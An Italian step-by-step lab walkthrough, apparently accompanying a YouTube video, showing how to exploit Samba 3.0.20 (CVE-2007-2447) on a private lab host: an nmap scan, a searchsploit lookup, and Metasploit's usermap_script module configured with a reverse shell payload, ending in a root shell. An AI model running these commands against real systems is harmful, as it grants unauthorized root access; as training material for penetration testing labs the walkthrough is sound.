🎬 Questo video YouTube

1️⃣ Scansione del target (Nmap)

nmap -sS -sV -p 139,445 192.168.56.102

Risultato atteso: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian

👉 Versione Samba: 3.0.20 È vulnerabile a CVE-2007-2447.

2️⃣ Identificazione dell'exploit Samba

searchsploit samba 3.0.20

Risultato:

Samba 3.0.20 - 'Username' map script Command Execution

3️⃣ Avvio di Metasploit

msfconsole

4️⃣ Selezione dell'exploit Samba

use exploit/multi/samba/usermap_script

5️⃣ Configurazione dell'exploit

set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101

Il payload sarà automatico:

cmd/unix/reverse

Verifica:

show options

6️⃣ Esecuzione dell'exploit

run

oppure

exploit

7️⃣ Risultato 🎉

Se ha successo:

Command shell session opened

Verifichiamo:

whoami

👉 Risultato:

root